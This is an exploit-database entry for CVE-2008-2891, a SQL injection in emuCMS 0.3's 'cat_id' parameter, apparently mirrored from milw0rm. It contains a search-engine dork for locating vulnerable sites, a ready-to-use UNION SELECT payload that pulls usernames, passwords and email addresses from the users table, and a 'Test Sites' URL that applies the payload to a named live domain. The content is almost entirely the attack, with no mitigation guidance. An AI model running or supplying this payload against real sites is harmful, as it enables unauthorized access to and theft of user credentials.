emuCMS 0.3 - 'cat_id' SQL Injection

Author: TurkishWarriorr
type: webapps
platform: php
port: 
date_added: 2008-06-19 
date_updated: 2016-12-08 
verified: 1 
codes: OSVDB-46481;CVE-2008-2891 
tags: 
aliases:  
screenshot_url:  
application_url: 

################################################## #######################
#
# AUTHOR : TurkishWarriorr
#
# HOME : http://www.1923turk.org
#
################################################## #######################
Dork : Powered by emuCMS

exploit : index.php?page=category&cat_id=-9999+union+all+select+1,concat(user,char(58),passw ,char(58),email),3,null,null,null,7,8,9,10,11,null +from+users--

Test Sites

http://www.emusoft.org/index.php?page=category&cat_id=-9999+union+all+select+1,concat(user,char(58),passw ,char(58),email),3,null,null,null,7,8,9,10,11,null +from+users--
################################################## ########################
www.1923turk.org
turkish-warriorr@hotmail.com

# milw0rm.com [2008-06-20]